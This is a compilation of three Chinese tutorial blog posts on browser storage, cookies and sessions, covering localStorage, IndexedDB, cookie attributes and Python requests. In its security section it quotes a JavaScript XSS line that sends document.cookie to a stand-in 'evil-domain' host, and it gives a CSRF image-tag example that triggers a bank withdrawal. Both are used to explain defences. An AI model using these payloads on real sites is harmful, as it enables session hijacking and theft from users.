言

隨著移動網絡的發展與演化，我們手機上現在除了有原生 App，還能跑“WebApp”——它即開即用，用完即走。一個優秀的 WebApp 甚至可以擁有和原生 App 媲美的功能和體驗。WebApp 優異的性能表現，有一部分原因要歸功于瀏覽器存儲技術的提升。cookie存儲數據的功能已經很難滿足開發所需，逐漸被WebStorage、IndexedDB所取代，本文將介紹這幾種存儲方式的差異和優缺點。

一、Cookie

1.Cookie的來源

Cookie 的本職工作并非本地存儲，而是“維持狀態”。

因為HTTP協議是無狀態的，HTTP協議自身不對請求和響應之間的通信狀態進行保存，通俗來說，服務器不知道用戶上一次做了什么，這嚴重阻礙了交互式Web應用程序的實現。在典型的網上購物場景中，用戶瀏覽了幾個頁面，買了一盒餅干和兩瓶飲料。最后結帳時，由于HTTP的無狀態性，不通過額外的手段，服務器并不知道用戶到底買了什么，于是就誕生了Cookie。它就是用來繞開HTTP的無狀態性的“額外手段”之一。服務器可以設置或讀取Cookies中包含信息，借此維護用戶跟服務器會話中的狀態。

我們可以把Cookie 理解為一個存儲在瀏覽器里的一個小小的文本文件，它附著在 HTTP 請求上，在瀏覽器和服務器之間“飛來飛去”。它可以攜帶用戶信息，當服務器檢查 Cookie 的時候，便可以獲取到客戶端的狀態。

在剛才的購物場景中，當用戶選購了第一項商品，服務器在向用戶發送網頁的同時，還發送了一段Cookie，記錄著那項商品的信息。當用戶訪問另一個頁面，瀏覽器會把Cookie發送給服務器，于是服務器知道他之前選購了什么。用戶繼續選購飲料，服務器就在原來那段Cookie里追加新的商品信息。結帳時，服務器讀取發送來的Cookie就行了。

2.什么是Cookie及應用場景

Cookie指某些網站為了辨別用戶身份而儲存在用戶本地終端上的數據(通常經過加密)。 cookie是服務端生成，客戶端進行維護和存儲。通過cookie,可以讓服務器知道請求是來源哪個客戶端，就可以進行客戶端狀態的維護，比如登陸后刷新，請求頭就會攜帶登陸時response header中的set-cookie,Web服務器接到請求時也能讀出cookie的值，根據cookie值的內容就可以判斷和恢復一些用戶的信息狀態。

如上圖所示，Cookie 以鍵值對的形式存在。

典型的應用場景有：

記住密碼，下次自動登錄。

購物車功能。

記錄用戶瀏覽數據，進行商品（廣告）推薦。

3.Cookie的原理及生成方式

Cookie的原理

第一次訪問網站的時候，瀏覽器發出請求，服務器響應請求后，會在響應頭里面添加一個Set-Cookie選項，將cookie放入到響應請求中，在瀏覽器第二次發請求的時候，會通過Cookie請求頭部將Cookie信息發送給服務器，服務端會辨別用戶身份，另外，Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

Cookie的生成方式主要有兩種：

生成方式一：http response header中的set-cookie

我們可以通過響應頭里的 Set-Cookie 指定要存儲的 Cookie 值。默認情況下，domain 被設置為設置 Cookie 頁面的主機名，我們也可以手動設置 domain 的值。

當Cookie的過期時間被設定時，設定的日期和時間只與客戶端相關，而不是服務端。

生成方式二：js中可以通過document.cookie可以讀寫cookie，以鍵值對的形式展示

例如我們在掘金社區控制臺輸入以下三句代碼，便可以在Chrome 的 Application 面板查看生成的cookie:

從上圖中我們可以得出：

Domain 標識指定了哪些域名可以接受Cookie。如果沒有設置domain，就會自動綁定到執行語句的當前域。

如果設置為”.baidu.com”,則所有以”baidu.com”結尾的域名都可以訪問該Cookie，所以在掘金社區上讀取不到第三條代碼存儲Cookie值。

4.Cookie的缺陷

Cookie 不夠大

Cookie的大小限制在4KB左右，對于復雜的存儲需求來說是不夠用的。當 Cookie 超過 4KB 時，它將面臨被裁切的命運。這樣看來，Cookie 只能用來存取少量的信息。此外很多瀏覽器對一個站點的cookie個數也是有限制的。

這里需注意：各瀏覽器的cookie每一個name=value的value值大概在4k，所以4k并不是一個域名下所有的cookie共享的,而是一個name的大小。

過多的 Cookie 會帶來巨大的性能浪費

Cookie 是緊跟域名的。同一個域名下的所有請求，都會攜帶 Cookie。大家試想，如果我們此刻僅僅是請求一張圖片或者一個 CSS 文件，我們也要攜帶一個 Cookie 跑來跑去（關鍵是 Cookie 里存儲的信息并不需要），這是一件多么勞民傷財的事情。Cookie 雖然小，請求卻可以有很多，隨著請求的疊加，這樣的不必要的 Cookie 帶來的開銷將是無法想象的。

cookie是用來維護用戶信息的，而域名(domain)下所有請求都會攜帶cookie，但對于靜態文件的請求，攜帶cookie信息根本沒有用，此時可以通過cdn（存儲靜態文件的）的域名和主站的域名分開來解決。

由于在HTTP請求中的Cookie是明文傳遞的，所以安全性成問題，除非用HTTPS。

5.Cookie與安全

對于 cookie 來說，我們還需要注意安全性。

HttpOnly 不支持讀寫，瀏覽器不允許腳本操作document.cookie去更改cookie，

所以為避免跨域腳本 (XSS) 攻擊，通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie，它們只應該發送給服務端。如果包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用，那么就應該為其設置 HttpOnly 標記。

標記為 Secure 的Cookie只應通過被HTTPS協議加密過的請求發送給服務端。但即便設置了 Secure 標記，敏感信息也不應該通過Cookie傳輸，因為Cookie有其固有的不安全性，Secure 標記也無法提供確實的安全保障。

為了彌補 Cookie 的局限性，讓“專業的人做專業的事情”，Web Storage 出現了。

HTML5中新增了本地存儲的解決方案----Web Storage，它分成兩類：sessionStorage和localStorage。這樣有了WebStorage后，cookie能只做它應該做的事情了——作為客戶端與服務器交互的通道，保持客戶端狀態。

二、LocalStorage

1.LocalStorage的特點

保存的數據長期存在，下一次訪問該網站的時候，網頁可以直接讀取以前保存的數據。

• 大小為5M左右
• 僅在客戶端使用，不和服務端進行通信
• 接口封裝較好

基于上面的特點，LocalStorage可以作為瀏覽器本地緩存方案，用來提升網頁首屏渲染速度(根據第一請求返回時，將一些不變信息直接存儲在本地)。

2.存入/讀取數據

localStorage保存的數據，以“鍵值對”的形式存在。也就是說，每一項數據都有一個鍵名和對應的值。所有的數據都是以文本格式保存。

存入數據使用setItem方法。它接受兩個參數，第一個是鍵名，第二個是保存的數據。

localStorage.setItem("key","value");

讀取數據使用getItem方法。它只有一個參數，就是鍵名。

var valueLocal=localStorage.getItem("key");

具體步驟，請看下面的例子：

3.使用場景

LocalStorage在存儲方面沒有什么特別的限制，理論上 Cookie 無法勝任的、可以用簡單的鍵值對來存取的數據存儲任務，都可以交給 LocalStorage 來做。

這里給大家舉個例子，考慮到 LocalStorage 的特點之一是持久，有時我們更傾向于用它來存儲一些內容穩定的資源。比如圖片內容豐富的電商網站會用它來存儲 Base64 格式的圖片字符串：

三、sessionStorage

sessionStorage保存的數據用于瀏覽器的一次會話，當會話結束（通常是該窗口關閉），數據被清空；sessionStorage 特別的一點在于，即便是相同域名下的兩個頁面，只要它們不在同一個瀏覽器窗口中打開，那么它們的 sessionStorage 內容便無法共享；localStorage 在所有同源窗口中都是共享的；cookie也是在所有同源窗口中都是共享的。除了保存期限的長短不同，SessionStorage的屬性和方法與LocalStorage完全一樣。

1.sessionStorage的特點

• 會話級別的瀏覽器存儲
• 大小為5M左右
• 僅在客戶端使用，不和服務端進行通信
• 接口封裝較好

基于上面的特點，sessionStorage 可以有效對表單信息進行維護，比如刷新時，表單信息不丟失。

2.使用場景

sessionStorage 更適合用來存儲生命周期和它同步的會話級別的信息。這些信息只適用于當前會話，當你開啟新的會話時，它也需要相應的更新或釋放。比如微博的 sessionStorage就主要是存儲你本次會話的瀏覽足跡：

lasturl 對應的就是你上一次訪問的 URL 地址，這個地址是即時的。當你切換 URL 時，它隨之更新，當你關閉頁面時，留著它也確實沒有什么意義了，干脆釋放吧。這樣的數據用 sessionStorage 來處理再合適不過。

3.sessionStorage 、localStorage 和 cookie 之間的區別

共同點：都是保存在瀏覽器端，且都遵循同源策略。

不同點：在于生命周期與作用域的不同

作用域：localStorage只要在相同的協議、相同的主機名、相同的端口下，就能讀取/修改到同一份localStorage數據。sessionStorage比localStorage更嚴苛一點，除了協議、主機名、端口外，還要求在同一窗口（也就是瀏覽器的標簽頁）下

生命周期：localStorage 是持久化的本地存儲，存儲在其中的數據是永遠不會過期的，使其消失的唯一辦法是手動刪除；而 sessionStorage 是臨時性的本地存儲，它是會話級別的存儲，當會話結束（頁面被關閉）時，存儲內容也隨之被釋放。

Web Storage 是一個從定義到使用都非常簡單的東西。它使用鍵值對的形式進行存儲，這種模式有點類似于對象，卻甚至連對象都不是——它只能存儲字符串，要想得到對象，我們還需要先對字符串進行一輪解析。

說到底，Web Storage 是對 Cookie 的拓展，它只能用于存儲少量的簡單數據。當遇到大規模的、結構復雜的數據時，Web Storage 也愛莫能助了。這時候我們就要清楚我們的終極大 boss——IndexedDB！

四、IndexedDB

IndexedDB 是一種低級API，用于客戶端存儲大量結構化數據(包括文件和blobs)。該API使用索引來實現對該數據的高性能搜索。IndexedDB 是一個運行在瀏覽器上的非關系型數據庫。既然是數據庫了，那就不是 5M、10M 這樣小打小鬧級別了。理論上來說，IndexedDB 是沒有存儲上限的（一般來說不會小于 250M）。它不僅可以存儲字符串，還可以存儲二進制數據。

1.IndexedDB的特點

鍵值對儲存。

IndexedDB 內部采用對象倉庫（object store）存放數據。所有類型的數據都可以直接存入，包括 JavaScript 對象。對象倉庫中，數據以"鍵值對"的形式保存，每一個數據記錄都有對應的主鍵，主鍵是獨一無二的，不能有重復，否則會拋出一個錯誤。

異步

IndexedDB 操作時不會鎖死瀏覽器，用戶依然可以進行其他操作，這與 LocalStorage 形成對比，后者的操作是同步的。異步設計是為了防止大量數據的讀寫，拖慢網頁的表現。

支持事務。

IndexedDB 支持事務（transaction），這意味著一系列操作步驟之中，只要有一步失敗，整個事務就都取消，數據庫回滾到事務發生之前的狀態，不存在只改寫一部分數據的情況。

同源限制

IndexedDB 受到同源限制，每一個數據庫對應創建它的域名。網頁只能訪問自身域名下的數據庫，而不能訪問跨域的數據庫。

儲存空間大

IndexedDB 的儲存空間比 LocalStorage 大得多，一般來說不少于 250MB，甚至沒有上限。

支持二進制儲存。

IndexedDB 不僅可以儲存字符串，還可以儲存二進制數據（ArrayBuffer 對象和 Blob 對象）。

2.IndexedDB的常見操作

在IndexedDB大部分操作并不是我們常用的調用方法，返回結果的模式，而是請求——響應的模式。

建立打開IndexedDB ----window.indexedDB.open("testDB")

這條指令并不會返回一個DB對象的句柄，我們得到的是一個IDBOpenDBRequest對象，而我們希望得到的DB對象在其result屬性中

除了result，IDBOpenDBRequest接口定義了幾個重要屬性:

onerror: 請求失敗的回調函數句柄

onsuccess:請求成功的回調函數句柄

onupgradeneeded:請求數據庫版本變化句柄

控制臺得到一個 IDBDatabase對象，這就是IndexedDB對象

關閉IndexedDB----indexdb.close()

刪除IndexedDB----window.indexedDB.deleteDatabase(indexdb)

3.WebStorage、cookie 和 IndexedDB之間的區別

從上表可以看到，cookie 已經不建議用于存儲。如果沒有大量數據存儲需求的話，可以使用 localStorage 和 sessionStorage 。對于不怎么改變的數據盡量使用 localStorage 存儲，否則可以用 sessionStorage 存儲。

總結

正是瀏覽器存儲、緩存技術的出現和發展，為我們的前端應用帶來了無限的轉機。近年來基于存儲、緩存技術的第三方庫層出不絕，此外還衍生出了 PWA 這樣優秀的 Web 應用模型。總結下本文幾個核心觀點：

Cookie 的本職工作并非本地存儲，而是“維持狀態”

Web Storage 是 HTML5 專門為瀏覽器存儲而提供的數據存儲機制，不與服務端發生通信

IndexedDB 用于客戶端存儲大量結構化數據

---------------------

作者：浪里行舟來源：CSDN原文：https://blog.csdn.net/howgod/article/details/88988509

天我們就來全面了解一下Cookie（小餅干）以及相關的知識！

相信很多同學肯定聽過Cookie這個東西，也大概了解其作用，但是其原理以及如何設置，可能沒有做過web的同學并不是非常清楚，那今天豬哥就帶大家詳細了解下Cookie相關的知識！

一、誕生背景

爬蟲系列教程的第一篇：HTTP詳解中我們便說過HTTP的五大特點，而其中之一便是：無狀態

HTTP無狀態：服務器無法知道兩個請求是否來自同一個瀏覽器，即服務器不知道用戶上一次做了什么，每次請求都是完全相互獨立。

早期互聯網只是用于簡單的瀏覽文檔信息、查看黃頁、門戶網站等等，并沒有交互這個說法。但是隨著互聯網慢慢發展，寬帶、服務器等硬件設施已經得到很大的提升，互聯網允許人們可以做更多的事情，所以交互式Web慢慢興起，而HTTP無狀態的特點卻嚴重阻礙其發展！

交互式Web：客戶端與服務器可以互動，如用戶登錄，購買商品，各種論壇等等

不能記錄用戶上一次做了什么，怎么辦？聰明的程序員們就開始思考：怎么樣才能記錄用戶上一次的操作信息呢？于是有人就想到了隱藏域。

隱藏域寫法：<input type="hidden" name="field＿name" value="value">

這樣把用戶上一次操作記錄放在form表單的input中，這樣請求時將表單提交不就知道上一次用戶的操作，但是這樣每次都得創建隱藏域而且得賦值太麻煩，而且容易出錯！

ps：隱藏域作用強大，時至今日都有很多人在用它解決各種問題！

網景公司當時一名員工Lou Montulli（盧-蒙特利），在1994年將“cookies”的概念應用于網絡通信，用來解決用戶網上購物的購物車歷史記錄，而當時最強大的瀏覽器正是網景瀏覽器，在網景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie，到目前所有瀏覽器都支持Cookie了

二、Cookie是什么

前面我們已經知道了Cookie的誕生是為了解決HTTP無狀態的特性無法滿足交互式web，那它究竟是什么呢？

上圖是在Chrome瀏覽器中的百度首頁的Cookies（Cookie的復數形式），在表格中，每一行都代表著一個Cookie，所以我們來看看Cookie的定義吧！

Cookie是由服務器發給客戶端的特殊信息，而這些信息以文本文件的方式存放在客戶端，然后客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息，用于服務器記錄客戶端的狀態。

Cookie主要用于以下三個方面：

1. 會話狀態管理（如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息）
2. 個性化設置（如用戶自定義設置、主題等）
3. 瀏覽器行為跟蹤（如跟蹤分析用戶行為等）

三、Cookie原理

我們在了解了Cookie是由服務器發出存儲在瀏覽器的特殊信息，那具體是怎么樣的一個過程呢？為了大家便于理解，就以用戶登錄為例子為大家畫了一幅Cookie原理圖

用戶在輸入用戶名和密碼之后，瀏覽器將用戶名和密碼發送給服務器，服務器進行驗證，驗證通過之后將用戶信息加密后封裝成Cookie放在請求頭中返回給瀏覽器。

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly
[響應體]

瀏覽器收到服務器返回數據，發現請求頭中有一個：Set-Cookie，然后它就把這個Cookie保存起來，下次瀏覽器再請求服務器的時候，會把Cookie也放在請求頭中傳給服務器：

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

服務器收到請求后從請求頭中拿到cookie，然后解析并到用戶信息，說明此用戶已登錄，Cookie是將數據保存在客戶端的。

這里我們可以看到，用戶信息是保存在Cookie中，也就相當于是保存在瀏覽器中，那就說用戶可以隨意修改用戶信息，這是一種不安全的策略！

強調一點：Cookie無論是服務器發給瀏覽器還是瀏覽器發給服務器，都是放在請求頭中的！

四、Cookie屬性

下圖中我們可以看到一個Cookie有：Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性，那這些屬性分別都有什么作用呢？我們來看看

1. Name&Value

Name表示Cookie的名稱，服務器就是通過name屬性來獲取某個Cookie值。

Value表示Cookie 的值，大多數情況下服務器會把這個value當作一個key去緩存中查詢保存的數據。

2.Domain&Path

Domain表示可以訪問此cookie的域名，下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。

從上圖中我們可以看出domain有：.baidu.com 頂級域名和.teiba.baidu.com的二級域名，所以這里就會有一個訪問規則：頂級域名只能設置或訪問頂級域名的Cookie，二級及以下的域名只能訪問或設置自身或者頂級域名的Cookie，所以如果要在多個二級域名中共享Cookie的話，只能將Domain屬性設置為頂級域名！

Path表示可以訪問此cookie的頁面路徑。比如path=/test，那么只有/test路徑下的頁面可以讀取此cookie。

3.Expires/Max-Age

Expires/Max-Age表示此cookie超時時間。若設置其值為一個時間，那么當到達此時間后，此cookie失效。不設置的話默認值是Session，意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標簽頁，而是整個瀏覽器) 后，此cookie失效。

提示：當Cookie的過期時間被設定時，設定的日期和時間只與客戶端相關，而不是服務端。

4.Size

Size表示Cookie的name+value的字符數，比如有一個Cookie：id=666，那么Size=2+3=5 。

另外每個瀏覽器對Cookie的支持都不相同

5.HTTP

HTTP表示cookie的httponly屬性。若此屬性為true，則只有在http請求頭中會帶有此cookie的信息，而不能通過document.cookie來訪問此cookie。

設計該特征意在提供一個安全措施來幫助阻止通過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行為

6.Secure

Secure表示是否只能通過https來傳遞此條cookie。不像其它選項，該選項只是一個標記并且沒有其它的值。

這種cookie的內容意指具有很高的價值并且可能潛在的被破解以純文本形式傳輸。

五、Python操作Cookie

1.生成Cookie

前面我們說過Cookie是由服務端生成的，那如何用Python代碼來生成呢？

從上圖登錄代碼中我們看到，在簡單的驗證用戶名和密碼之后，服務器跳轉到/user，然后set了一個cookie，瀏覽器收到響應后發現請求頭中有一個：Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg，然后瀏覽器就會將這個Cookie保存起來！

2.獲取Cookie

最近我們一直在講requests模塊，這里我們就用requests模塊來獲取Cookie。

r.cookies表示獲取所有cookie，get_dict()函數表示返回的是字典格式cookie。

3.設置Cookie

上篇我們爬取優酷彈幕的文章中便是用了requests模塊設置Cookie

我們就瀏覽器復制過來的Cookie放在代碼中，這樣便可以順利的偽裝成瀏覽器，然后正常爬取數據，復制Cookie是爬蟲中常用的一種手段！

六、Session

1.誕生背景

其實在Cookie設計之初，并不像豬哥講的那樣Cookie只保存一個key，而是直接保存用戶信息，剛開始大家認為這樣用起來很爽，但是由于cookie 是存在用戶端，而且它本身存儲的尺寸大小也有限，最關鍵是用戶可以是可見的，并可以隨意的修改，很不安全。那如何又要安全，又可以方便的全局讀取信息呢？于是，這個時候，一種新的存儲會話機制：Session 誕生了。

2.Session是什么

Session翻譯為會話，服務器為每個瀏覽器創建的一個會話對象，瀏覽器在第一次請求服務器，服務器便會為這個瀏覽器生成一個Session對象，保存在服務端，并且把Session的Id以cookie的形式發送給客戶端瀏覽，而以用戶顯式結束或session超時為結束。

我們來看看Session工作原理：

1. 當一個用戶向服務器發送第一個請求時，服務器為其建立一個session，并為此session創建一個標識號（sessionID）。
2. 這個用戶隨后的所有請求都應包括這個標識號（sessionID）。服務器會校對這個標識號以判斷請求屬于哪個session。

對于session標識號（sessionID），有兩種方式實現：Cookie和URL重寫，豬哥就以Cookie的實現方式畫一個Session原理圖

聯系cookie原理圖我們可以看到，Cookie是將數據直接保存在客戶端，而Session是將數據保存在服務端，就安全性來講Session更好！

3.Python操作Session

后面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

七、面試場景

1.Cookie和Session關系

1. 都是為了實現客戶端與服務端交互而產出
2. Cookie是保存在客戶端，缺點易偽造、不安全
3. Session是保存在服務端，會消耗服務器資源
4. Session實現有兩種方式：Cookie和URL重寫

2.Cookie帶來的安全性問題

1. 會話劫持和XSS：在Web應用中，Cookie常用來標記用戶或授權會話。因此，如果Web應用的Cookie被竊取，可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
2. 跨站請求偽造（CSRF）：維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片，它實際上是一個給你銀行服務器發送提現的請求：<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當你打開含有了這張圖片的HTML頁面時，如果你之前已經登錄了你的銀行帳號并且Cookie仍然有效（還沒有其它驗證步驟），你銀行里的錢很可能會被自動轉走。解決CSRF的辦法有：隱藏域驗證碼、確認機制、較短的Cookie生命周期等

八、總結

今天為大家講解了Cookie的相關知識，以及如何使用requests模塊操作Cookie，最后順便提了一下Cookie與Session的關系以及Cookie存在哪些安全問題。希望大家能對Cookie（小餅干）能有個全面的了解，這樣對你在今后的爬蟲學習中會大有裨益！

關注微信公眾號：安徽思恒信息科技有限公司,了解更多技術內容……

TML本地存儲有cookies、 localStorage 、sessionStorage、Web SQL、IndexedDB。

以下是它們的區別

1. cookies： 在HTML5標準前本地儲存的主要方式，優點是兼容性好，請求頭自帶cookie方便，缺點是大小只有4k，自動請求頭加入cookie浪費流量，每個domain限制20個cookie，使用起來麻煩需要自行封裝
2. localStorage：HTML5加入的以鍵值對(Key-Value)為標準的方式，優點是操作方便，永久性儲存（除非手動刪除），大小為5M，兼容IE8+
3. sessionStorage：與localStorage基本類似，區別是sessionStorage當頁面關閉后會被清理，而且與cookie、localStorage不同，他不能在所有同源窗口中共享，是會話級別的儲存方式
4. Web SQL：2010年被W3C廢棄的本地數據庫數據存儲方案，但是主流瀏覽器（火狐除外）都已經有了相關的實現，web sql類似于SQLite，是真正意義上的關系型數據庫，用sql進行操作，當我們用JavaScript時要進行轉換，較為繁瑣。
5. IndexedDB： 是被正式納入HTML5標準的數據庫儲存方案，它是NoSQL數據庫，用鍵值對進行儲存，可以進行快速讀取操作，非常適合web場景，同時用JavaScript進行操作會非常方便。